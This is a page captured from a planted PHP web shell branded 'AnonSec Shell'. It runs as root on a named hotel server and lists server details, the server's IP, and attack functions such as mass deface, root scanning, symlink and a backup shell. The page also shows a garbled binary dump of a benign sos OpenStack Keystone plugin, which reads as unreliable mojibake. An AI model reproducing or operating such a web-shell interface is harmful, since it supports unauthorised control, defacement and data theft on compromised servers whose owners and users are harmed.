AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/openstack_keystone.cpython-310.pyc
o

���b�@s^ddlmZmZmZmZmZddlZGdd�de�ZGdd�deee�ZGdd�dee�Z	dS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�	PluginOptNc@sDeZdZdZdZdZedddd�gZdZd	d
�Z	dd�Z
d
d�ZdS)�OpenStackKeystonezOpenStack Keystone�openstack_keystone)�	openstack�openstack_controller�nopwTz!do not collect keystone passwords)�default�descz./var/lib/config-data/puppet-generated/keystonecCs|�dddd|jd|jd|jd|jd|jd	|jd
|jdg�|�d�r1|�d
g�n|�dg�|�d�}|d|_|ddksM|�|j�sPd|_|�|j�dd�dD�}dd�dD�}t|�rlt|�st|j�	d�dS|�
d�|�
d�dS)Nz'/etc/keystone/default_catalog.templatesz/etc/keystone/keystone.confz/etc/keystone/logging.confz/etc/keystone/policy.jsonz/etc/keystone/*.confz/etc/keystone/*.jsonz/etc/httpd/conf/z/etc/httpd/conf.d/z /etc/httpd/conf.modules.d/*.confz/var/spool/cron/z/etc/my.cnf.d/tripleo.cnf�all_logsz/var/log/keystone/z/var/log/keystone/*.logzDcrudini --get /etc/keystone/keystone.conf identity domain_config_dir�output�statusrz/etc/keystone/domainscS�g|]}|tjv�qS���os�environ��.0�prr�G/usr/lib/python3/dist-packages/sos/report/plugins/openstack_keystone.py�
<listcomp>@�z+OpenStackKeystone.setup.<locals>.<listcomp>)�OS_USERNAME�OS_PASSWORDcSrrrrrrrrCr)�OS_TENANT_NAME�OS_PROJECT_NAMEz}Not all environment variables set. Source the environment file for the user intended to connect to the OpenStack environment.zopenstack endpoint listzopenstack catalog list)�
add_copy_spec�var_puppet_gen�
get_option�collect_cmd_output�domain_config_dir�
path_isdir�all�any�soslog�warning�add_cmd_output)�self�exec_out�vars_all�vars_anyrrr�setupsF�
���

�
zOpenStackKeystone.setupcCs&|�d||�|�|jd||�dS)Nz/etc/keystone/*)�do_path_regex_subr!)r+�regexp�substrrr�apply_regex_subNs
�z!OpenStackKeystone.apply_regex_subcCsNgd�}dg}|�dd�|�d�|�dd�|�d�|�|jdd�dS)	N)�password�
qpid_password�rabbit_password�ssl_key_password�ldap_dns_password�neutron_admin_password�
host_password�admin_password�admin_token�ca_password�
transport_url�
connectionz((?m)^\s*(%s)\s*=\s*)(.*)�|z\1*********z-((?m)^\s*(%s)\s*=\s*(.*)://(\w*):)(.*)(@(.*))z
\1*********\6z
\1********)r3�joinr0r$)r+�protect_keys�connection_keysrrr�postprocUs����zOpenStackKeystone.postprocN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr�option_listr!r/r3rDrrrrrs��1rc@seZdZdZdS)�DebianKeystone)�keystonezpython-keystonezpython-keystoneclientN)rErFrG�packagesrrrrrLlsrLcs eZdZdZ�fdd�Z�ZS)�RedHatKeystone)zopenstack-selinuxcs4tt|���|�d�r|�d�dS|�d�dS)Nrz/var/log/httpd/keystone*z/var/log/httpd/keystone*.log)�superrOr/r"r )r+��	__class__rrr/ys
zRedHatKeystone.setup)rErFrGrNr/�
__classcell__rrrQrrOusrO)
�sos.report.pluginsrrrrrrrrLrOrrrr�<module>s
[	

Anon7 - 2022
AnonSec Team